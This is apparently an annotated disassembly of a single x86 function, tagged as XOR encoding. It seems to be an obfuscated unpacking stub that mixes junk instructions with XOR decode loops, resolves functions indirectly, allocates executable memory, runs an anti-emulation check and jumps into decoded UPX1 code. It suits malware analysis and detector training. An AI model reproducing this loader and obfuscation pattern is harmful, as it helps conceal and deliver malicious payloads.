Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x97592b11
dec ebx
and ebx, ebx
popal
mov esi, 0x9c26af17
or ebx, esi
dec ebx
mov eax, 0
mov edx, esi
sub edi, 0x93a7479a
not edi
mov ecx, edx
add ebx, 0x2d9afb20
sub ebx, 1
mov esi, ecx
or edi, edi
inc ebx
inc eax
add ebx, edi
or edi, ebx
or edi, ebx
cmp eax, 0x100086d
jne 0xa789c3
and ebx, edi
add edi, 0x1accf1d8
sub esi, 0x2c03135
sub esi, ebx
or ebx, esi
mov eax, 0xa78796
sub esi, ebx
add esi, ebx
or edx, esi
mov edi, 0xa7898a
dec esi
dec esi
add ebx, edx
mov ecx, dword [eax]
mov ebx, 0xa00d121c
mov ebx, edx
and ecx, 0xff
sub esi, edx
or ebx, esi
and ebx, ebx
xor dword [edi], ecx
add edx, 0xed90e845
mov esi, 0x8c3edd18
not ebx
add edi, 1
or edx, esi
add edx, 0x43bcfc6e
inc eax
mov esi, edx
add esi, ebx
cmp edi, entry0
jl 0xa78a19
sub ebx, edx
sub ebx, 0x773b2eb9
not edx
sub esi, edx
sub ebx, 0xeba751b1
not ecx
and edi, edi
mov ebx, 0xa7898e
dec ecx
mov esi, 0x90206297
and edx, ecx
mov ebx, dword [ebx]
inc edi
mov edi, 0xe2a5bb7c
mov ebx, dword [ebx]
and edx, esi
inc esi
mov edx, 0x5de65fd8
push ebx
add edx, edi
sub edx, 1
mov ecx, 0xd89e3f27
mov ebx, 0xa7898a
sub edx, 0xfd8a195f
and esi, ecx
mov ebx, dword [ebx]
sub edi, esi
add edx, edx
mov ebx, dword [ebx]
add esi, 0xd6bb114a
not edi
push 0xa78992
mov ecx, esi
mov edi, 0x7aadcaee
call ebx
add edx, 0x6e59838b
dec edi
pop ebx
not edi
add edx, 0xc5199be7
or ecx, esi
push 0xa7899f
dec esi
not ecx
not edi
push eax
mov ecx, 0xf35e6884
mov edx, ecx
call ebx
sub esi, 0x2e6dc9a4
mov esi, 0x994387f9
add esi, 0x2ead5b6f
push 0x40
add ecx, 0xafe72b35
inc ecx
push 0x3000
sub esi, 0x62351eed
add esi, 0x14cf4ab1
push 0x2000041d
mov edx, esi
inc edi
push 0
or edi, edx
dec esi
call eax
sub esi, 1
not edi
not edx
add eax, 0x200003aa
inc edi
dec edx
mov ebx, 0xb96ded96
add edi, edx
or ecx, edx
add edi, ecx
mov dword [eax], ebx
sub esi, 0xe7efe501
add ecx, 0x2f1d9fd
mov ebx, dword [eax]
sub esi, 0xe4dcc3a8
not edi
cmp ebx, 0xb96ded96
je 0xa78b74
mov edx, 0
mov byte [edx], bl
or edi, ecx
sub ecx, 0x314cabad
add edx, 0xd8f5ec4e
not edi
sub ebx, esi
inc ebx
mov edi, section.UPX1
not esi
add ebx, 0xf4b5767c
add ebx, ebx
mov eax, 0xa78795
or esi, ebx
add esi, 0xe71ff723
add esi, 0xe8a8f77d
mov ecx, 0
add ebx, 0xb567891b
add ebx, esi
not ebx
mov edx, 0xa78796
sub ebx, 0x75596071
not ebx
and ebx, ebx
lea edx, [ecx + edx]
dec esi
add esi, 1
sub ebx, 0x593fd053
mov edx, dword [edx]
and esi, esi
mov esi, 0xa1dcfa65
sub esi, ebx
and edx, 0xff
add esi, ebx
inc ebx
add ecx, 1
not ebx
sub ebx, esi
inc esi
cmp ecx, 0x1f4
jne 0xa78c03
mov ecx, 0
and esi, ebx
not esi
add ebx, ebx
sub esi, 1
inc ebx
xor dword [edi], edx
mov ebx, esi
add ebx, 0xc5bdf897
add edi, 2
dec esi
and ebx, esi
cmp edi, eax
jl 0xa78bb8
sub esi, 0x552721d4
not esi
sub ebx, 0x3ebb309e
and ebx, ebx
dec ebx
mov ebx, section.UPX1
dec ecx
add eax, 0x4136fc85
sub ecx, 0x477f8704
mov esi, section.UPX1
add eax, 0x9c6622db
not ecx
mov ecx, eax
mov edi, 0xa78795
mov ecx, eax
sub eax, 0x3bda0749
mov edx, 0
sub ecx, 0x8606d41f
dec eax
mov dl, byte [esi]
or eax, ecx
add eax, 0x5ad3721
mov byte [ebx], dl
add ecx, ecx
sub ecx, 1
add eax, ecx
inc ebx
sub ecx, 1
not ecx
add esi, 2
dec ecx
or ecx, ecx
cmp esi, edi
jle 0xa78c76
add ecx, eax
inc eax
inc ecx
sub esi, ebx
dec esi
push 0x8dc6a0
inc ebx
not ebx
ret